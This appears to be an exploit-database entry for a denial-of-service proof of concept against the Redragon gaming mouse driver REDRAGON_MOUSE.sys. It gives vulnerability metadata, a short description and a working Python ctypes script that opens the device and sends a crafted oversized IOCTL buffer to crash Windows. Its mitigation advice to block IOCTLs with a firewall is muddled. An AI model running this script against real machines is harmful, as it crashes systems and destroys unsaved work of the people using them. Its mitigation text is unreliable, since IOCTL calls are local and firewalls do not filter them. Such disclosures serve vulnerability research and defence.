Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC)

vendor:

Redragon Gaming Mouse

by:

Quadron Research Lab

5.5

CVSS

MEDIUM

Denial of Service

399

CWE

Product Name: Redragon Gaming Mouse

Affected Version From: All versions

Affected Version To: All versions

Patch Exists: NO

Related CWE:

CPE: a:redragon:mouse_driver

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 x64 HUN/ENG Professional

2021

Redragon Gaming Mouse – ‘REDRAGON_MOUSE.sys’ Denial of Service (PoC)

This exploit demonstrates a denial of service vulnerability in the Redragon Gaming Mouse driver ('REDRAGON_MOUSE.sys'). By sending a specially crafted IOCTL request to the driver, an attacker can cause the system to crash or become unresponsive, resulting in a denial of service condition.

Mitigation:

To mitigate this vulnerability, users are advised to update their Redragon Gaming Mouse driver to the latest version provided by the vendor. Additionally, it is recommended to use a firewall or intrusion prevention system to block any incoming IOCTL requests targeting the 'REDRAGON_MOUSE.sys' driver.

Source

Exploit-DB raw data:

# Exploit Title: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC)
# Date: 27/08/2021	
# Exploit Author: Quadron Research Lab			
# Version: all version		
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.redragonzone.com/pages/download
# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/REDRAGON_MOUSE


import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "REDRAGON_MOUSE"

ioctl = 0x222414

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GLOBALROOT\\Device\REDRAGON_MOUSE", 0xC0000000, 0, None, 0x3, 0, None) 

if not hevDevice or hevDevice == -1:
    print ("Not Win! Sorry!")

else:
    print ("OPENED!")
                    
    buf = '\x44' * 1000 + '\x00' * 1000
    bufLength = 2000
    
    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)